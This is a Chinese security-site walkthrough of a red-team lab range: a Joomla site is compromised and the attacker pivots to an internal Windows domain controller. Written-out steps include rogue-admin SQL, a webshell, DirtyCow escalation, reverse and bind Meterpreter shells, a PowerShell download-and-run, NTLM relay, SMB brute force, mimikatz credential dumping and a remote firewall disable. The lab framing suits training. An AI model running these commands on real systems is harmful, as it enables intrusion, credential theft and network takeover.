freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ATK&CK红队评估实战靶场(三)
2021-09-26 11:55:47

本靶场由红日安全团队提供,靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

本次靶场渗透主要是Joomla CMS漏洞的综合渗透练习,通过信息收集、漏洞利用、权限提升、以及域渗透。

网络拓扑如下

1632627994_614fed1a46c12e9cfbb12.png!small?1632627993473

外网打点

对已知IP进行端口扫描,

Nmap -T4 -sC -sV 192.168.101.73

1632628001_614fed21900caf4fa8f2d.png!small?1632628000867

可以发现开启了80端口并且是joomla的网站,对其访问,

1632628005_614fed2502d13386eac40.png!small?1632628004317

使用Kali内置的工具joomScan对该网站进行弱点探测,

命令joomscan -u 192.168.101.73

版本是3.9.12比较新,但是发现了一个敏感文件http://192.168.101.73/configuration.php~

1632628008_614fed28c2724d5d3f76c.png!small?1632628008095

1632628012_614fed2c3e3657417095c.png!small?1632628011546

该敏感文件里面泄露了数据库配置信息,使用navicat工具进行连接,找到了管理员表,

1632628015_614fed2f42aa1156438f2.png!small?1632628014600

这样的密码没法进行爆破,于是换个思路看看能否重置密码或者新增一个管理员账户,根据官方文档,找到了关于如何新增一个管理员的手册:如何恢复或者重置管理密码

1632628018_614fed32d71d0ab22a769.png!small?1632628018188

INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

用户名是admin2,密码是secret

使用这个新增的用户名密码进行登录后台

登录后发现模板编辑处可以进行自由编辑,于是写入一句话木马上去

1632628027_614fed3b5be5ab2a71765.png!small?1632628026582

1632628031_614fed3f69dba6755d57f.png!small?1632628030684

1632628036_614fed44d921bf376f203.png!small?1632628036115

然后用蚁剑连接/templates/beez3/index.php,如下图,连接成功:

1632628040_614fed484a65dc01a2249.png!small?1632628039520

但无法执行命令,估计禁用了disable_function,

1632628044_614fed4c496c2cf34dcdc.png!small?1632628043465

查看phpinfo,确实禁用disable_function,

1632628047_614fed4f6af9ec4ed313a.png!small?1632628046689

使用蚁剑的插件来绕过disable_function。

1632628049_614fed51c11edec527fdb.png!small?1632628049197

1632628053_614fed556f7832737f76f.png!small?1632628052631

接下来就是信息收集阶段:

uname -a    # 获取所有版本信息

uname -m    # 获取Linux内核架构

cat /proc/version    # 获取内核信息

cat /etc/*-release   # 发布信息

cat /etc/issue    # 发布信息

hostname    # 获取主机名

cat /etc/passwd    # 列出系统所有用户

cat /etc/group    # 列出系统所有组

w    # 查看目前登录的用户

whoami    # 查看当前用户

id    # 查看当前用户信息

sudo -l    # 列出目前用户可执行与无法执行的指令

ps aux    # 查看进程信息

ls -la /etc/cron*    # 查看计划任务

ifconfig -a    # 列出网络接口信息

cat /etc/network/interfaces    # 列出网络接口信息

arp -a    # 查看系统arp表

route    # 打印路由信息

netstat -anplt    # 打印本地端口开放信息

iptables -L    # 列出iptable的配置规则

经过一番收集,发现靶机的IP变成了192.168.93.120,判断是搭建了一个nginx反向代理。这台靶机才是真正提供web服务的机器:

1632628060_614fed5c219c42af49f8f.png!small?1632628059380

继续翻找在/tmp/mysql目录里面发现了一个test.txt文件,在里面发现了一组用户名和密码(wwwuser/wwwuser_123Aqx):

难道是ssh的凭证?但是我们之前在信息收集时并没有发现过该用户,不管了,先连连试试:遂尝试连接192.168.101.73

1632628068_614fed6498e0743365a44.png!small?1632628067855

连接成功,操作系统变成了Linux,查看nginx配置信息,可以看到确实做了反向代理。

1632628072_614fed684255ac6eebc68.png!small?1632628071521

好了,到目前为止我们已经拿下了两台主机了:

  • CentOS:192.168.101.73
  • Ubuntu:192.168.93.120

但是权限都很低,虽然我们有了CentOS的用户名和密码,但是CentOS主机禁止了当前用户执行sudo,为了能执行更多的命令我们还需要进行提权。Ubuntu的内核比较新,所以我们主要还是考虑提权CentOS。

权限提升

我们使用大名鼎鼎的脏牛(CVE-2016-5195)对CentOS进行提权。

首先下载Exp:https://github.com/FireFart/dirtycow

编译下载的Exp:

gcc -pthread dirty.c -o dirty -lcrypt

将编译好的漏洞利用程序上传到CentOS中一个有权限的目录,然后执行如下命令:

./dirty 123456
# ./dirty <password>

执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,切换到该用户即可获得root权限,如下图所示:

1632628079_614fed6f7814f647b12ba.png!small?1632628078856

内网渗透

为了更好的渗透内网,我要给CentOS上一个metasploit的shell:

use exploit/multi/script/web_delivery
set target 6    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.101.118
set lport 4444
exploit

执行后,会生成一条命令:

1632628083_614fed73c3c0caeecf670.png!small?1632628083162

把这条命令复制到靶机上执行即可获得反弹shell,

1632628087_614fed77bedaebbc37828.png!small?1632628087069

添加一个通向192.168.93.0/24的网段路由

run autoroute -s 192.168.93.0/24

1632628101_614fed859d23e878a69f1.png!small?1632628100926

查看是否添加成功run autoroute -p,

1632628104_614fed88dc515e51f4d67.png!small?1632628104165

使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描内网主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 10
run

1632628107_614fed8bd8f29e08ddf9f.png!small?1632628107198

探测发现93网段有3台机器存活,下一步对这3台机器的端口进行扫描,可以继续使用msf的内置模块。

1632628183_614fedd7568fef388bbde.png!small?1632628182583

我换种方法,目前msf是添加了一个路由,所以该内置的模块都可以把流量转发进内网。但是如果想使用其他工具,比如nmap、sqlmap等,则需要搭建socks代理,这里我使用earthworm搭建socks5反向代理。

在攻击机上执行如下:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在CentOS上传ew_for_linux64,并执行如下命令:

./ew_for_linux64 -s rssocks -d 192.168.1.9 -e 1234

1632628188_614feddc49c7fd28e353c.png!small?1632628187473

1632628190_614feddea5e363fd808bb.png!small?1632628189840

然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们的程序代理进内网了。

使用nmap对这3台主机进行端口扫描

proxychains nmap -Pn -sT -sV 192.168.93.10 192.168.93.20 192.168.93.30 -F

1632628194_614fede257c8c31eb877f.png!small?1632628193566

1632628197_614fede52c53dda6a3e15.png!small?1632628197098

现在内网的信息收集了个大概了,接下来就是横向移动,获取足够多的信息,最终拿下域控。

横向移动

这里有几个思路:

1、使用NTLM Relay攻击

2、使用auxiliary/scanner/smb/smb_login模块爆破登录

3、ms17_010

4、3389、1433等服务爆破

NTLM Relay 攻击

大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。深入了解NTLM Relay 攻击的详情请看:《内网渗透测试:NTLM Relay攻击分析》

此处我使用responder攻击,下载地址https://github.com/sdfzy/responder

利用 Responder 中的 MultiRelay.py

我们在进行重放攻击之前,先用 Responder 工具包里面的 RunFinger.py 脚本扫描域内机器的的开放情况:

./RunFinger.py -i 192.168.93.0/24

1632628245_614fee155fcd5aa11931d.png!small?1632628244620

可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:

python MultiRelay.py -t <被攻击ip> -u ALL

1632628249_614fee19357b4214112ef.png!small?1632628248496

可以看到报错了,此时和nginx的端口冲突了,所以要先关闭nginx服务,

重新执行./MultiRelay.py -t 192.168.93.20 -u ALL

1632628252_614fee1cb777cb4c43c19.png!small?1632628252038

现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:

1632628256_614fee20a0abcd9e6f289.png!small?1632628255847

重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)

responder -I eth0

1632628259_614fee23a06581b5f3ec2.png!small?1632628258880

此时我们在 DC(192.168.52.138)上面随便传递一个 SMB 流量,

1632628265_614fee290dd1715a8afd0.png!small?1632628264199

此时我们可以看到已经拿到了 192.168.93.20 的 Shell:

1632628269_614fee2dcff3e94368633.png!small?1632628269107

因为许多命令被限制了,不能使用,所以使用powershell命令来下载木马文件,

先用msf生成一个反弹shell,

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.101.118 LPORT=5555 -e x86/shikata_ga_nai -f exe -o shell.exe

然后上传到centos靶机上,在centos系统上用python开启一个HTTP服务,

1632628274_614fee32c5eb396139dd6.png!small?1632628274027

然后下载该反弹shell,

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.93.129:8001/shelltest.exe','c:\shelltest.exe')

1632628287_614fee3f81ffbc9011fe2.png!small?1632628286744

start c:\shelltest.exe  #执行该exe

1632628290_614fee4259bee913df7ad.png!small?1632628289515

可以看到msf反弹成功,

1632628293_614fee4506a93d2b7f937.png!small?1632628292304

获得shell后,记得及时设置进程迁移,否则在exe被删除了的话,会话也会随之关闭。

1632628297_614fee49bc2ab947872ad.png!small?1632628297042

利用Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

需要用到Impacket工具包中的smbrelayx.py工具,在CentOS上下载并安装Impacket,此处我用的是python3.8.5的环境。下载地址:https://github.com/SecureAuthCorp/impacket


首先,我们先生成一个正向的msf马:

msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.101.118 LPORT=5555 -e x86/shikata_ga_nai -f exe -o shell.exe

并将新生成的木马shell.exe上传到CentOS上面。

然后进入Impacket的examples目录执行如下命令:

./smbrelayx.py -h 192.168.93.20 -e /root/shell.exe  # 192.168.93.20

为要重放的目标主机。

1632628305_614fee518a3b8d4d12967.png!small?1632628304749

执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:nginx -s stop 。

此时,如果内网中的有域用户访问再次通过centos代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在centos上面搭建的一个恶意的smb服务,会弹出一个认证页面:

1632628309_614fee55df48e06e79538.png!small?1632628309209

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。

由于这里是靶机,所以我手动完成该域用户的认证过程,就用Windows7上的用户访问吧。输入net use \\192.168.93.100后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

1632628313_614fee595130e0555d4d7.png!small?16326283124981632628315_614fee5b8f231ad743ab2.png!small?1632628314932

Windows Server 2008成功上线meterpreter,并且还是system权限:

1632628318_614fee5e7f27bf40c1ac7.png!small?1632628317844

smb密码爆破枚举

因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试,每台都尝试进行枚举,分别是192.168.93.10,192.168.93.20,192.168.93.30

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser Administrator
set PASS_FILE /root/桌面/password.txt
run

1632628322_614fee62a4e1bb944ba2e.png!small?1632628322051

跑到192.168.93.20这台机器的时候比较幸运,直接跑出来了密码123qwe!ASD,

后续可以先建立ipc连接,然后进行横向移动。

定位域管理员

直接使用dos命令来定位域管理员:nslookup -type=SRV _ldap._tcp

可见TEST域的域管理员(test\administrator)当前登录的主机为WIN-8GA56TNV3MV.test.org,即Windows Server 2012(192.168.93.10)。

1632628325_614fee65f2fb04a2130b1.png!small?1632628325250

抓取域用户密码

在Windows Server 2008上面列出当前进程时,发现了域管理员(TEST\administrator)的进程:

1632628330_614fee6a82c94d6c127d4.png!small?1632628329933

所以我们可以在Windows server 2008上使用meterpreter上的kiwi模块抓取域用户及域管理员的密码:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

1632628334_614fee6eba02a2e0da2f6.png!small?1632628334091

1632628340_614fee743faf971f5890c.png!small?1632628339644

如上图,成功的抓取到了域管理员和本地管理员的账户密码:

  • WIN2008\Administrator:123qwe!ASD
  • TEST\administrator:zxcASDqw123!!

由于之前我们可以用Windows7上的用户Net-NTLM Hash对Windows 2008进行重放,说明Windows 7上的用户名和密码必然和Windows 2008是一样的,所以我们可以尝试直接登录:

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrato
rset SMBPass 123qwe!ASD
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run

1632628344_614fee78c17fd3586a9ca.png!small?1632628344417

登录成功。

打入域控

我们上面已经获得了域管理员的用户名密码了,直接登录即可:

use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!  # set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run

登录失败了:有防火墙的原因

1632628348_614fee7c58d3736d670e4.png!small?1632628347828

只能用其他方法了。

重新生成一个正向的msf马bind.exe,并将bind.exe上传到Windows 2008:

1632628351_614fee7f5f8b477cbe725.png!small?1632628350615

然后我们窃取个域管理员用户的token令牌:

use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"

1632628354_614fee82b46bf771706b6.png!small?1632628354328

这样我们的当前拿下的Windows 2008便有了访问域控制器的权限:

1632628357_614fee853775a2de02afe.png!small?1632628356850

如上图,成功列出域控制器(192.168.93.10)的C盘目录。

然后执行如下命令,使用sc远程在域制器(192.168.93.10)上创建服务关闭防火墙:

sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

1632628361_614fee89063ba4e0f3d6c.png!small?1632628360419

再次尝试使用 exploit/windows/smb/psexec 模块登录即可成功:

1632628364_614fee8c5cfd218b195f2.png!small?1632628363933

到此整个内网渗透+域渗透基本完毕。

关于作者:Paddling

Paddling,无尽安全实验室成员之一,熟悉web渗透测试、代码审计,内网渗透,参加过多次重保活动,红蓝对抗。熟悉Java/php代码审计,熟悉Java编程,了解SDL安全开发生命周期。熟悉内网渗透流程,了解内网安全加固机制。掌握应急响应整体流程和排查思路。

# 靶场实战
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录